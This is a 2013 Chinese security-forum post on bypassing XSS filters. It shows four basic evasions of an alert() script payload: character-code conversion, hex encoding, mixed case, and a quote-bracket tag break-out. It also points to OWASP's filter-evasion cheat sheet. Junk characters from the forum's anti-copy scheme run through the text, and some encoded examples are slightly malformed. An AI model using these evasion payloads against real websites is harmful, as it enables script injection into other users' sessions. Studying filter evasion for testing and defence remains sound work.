找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1920|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。) |! T) C8 W8 Q
1.转换为ASCII码& c$ b, ~2 ^6 `
例子:原脚本为<script>alert(‘I love F4ck’)</script >
4 ^. U. d; h$ I通过转换,变成:
& v$ B$ R/ `4 D5 w* I: a0 g<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>' ^9 J0 ~6 C0 [( l$ D: |5 E* p0 l

0 n: m$ |8 |) F2.转换为HEX(十六进制)- G- c+ I( A3 m$ L  v
例子:原脚本为<script>alert(‘I love F4ck’)</script>* D( G9 a: h  w' |2 n* ]; [
通过转换,变成:, c3 n9 G* X$ c0 D5 D$ _
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e! Q& w& k" M6 B1 `4 @
) b! Z, `2 c! h$ y. F- G- G
3.转换脚本的大小写
0 h$ p$ d8 B8 ]. f2 [* @$ f0 U例子:原脚本为<script>alert(‘I love F4ck’)</script>/ w9 w. T- ]' c7 P8 l
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
" h, n+ P$ J4 P7 a" V0 q2 k: r+ p
  r1 G5 c' p% ~" \, i8 S6 r4.增加闭合标记”>
& t" ~- k1 _; {9 s) M: K- P例子:原脚本为<script>alert(‘I love F4ck’)</script>" |" w0 ]3 q- Z* A, v' s% Y) q( b; \
转换为:”><script>alert(‘I love F4ck’)</script>7 F! T! U- J3 Q# g2 E' ]% `% p6 G" r
更详细绕过技术请参考此网页& M. Y" J/ W6 i4 L/ s  Q4 j
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet! f' a" O  e# _. S8 D1 N# z. T
& J% l3 M4 _1 w6 e
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表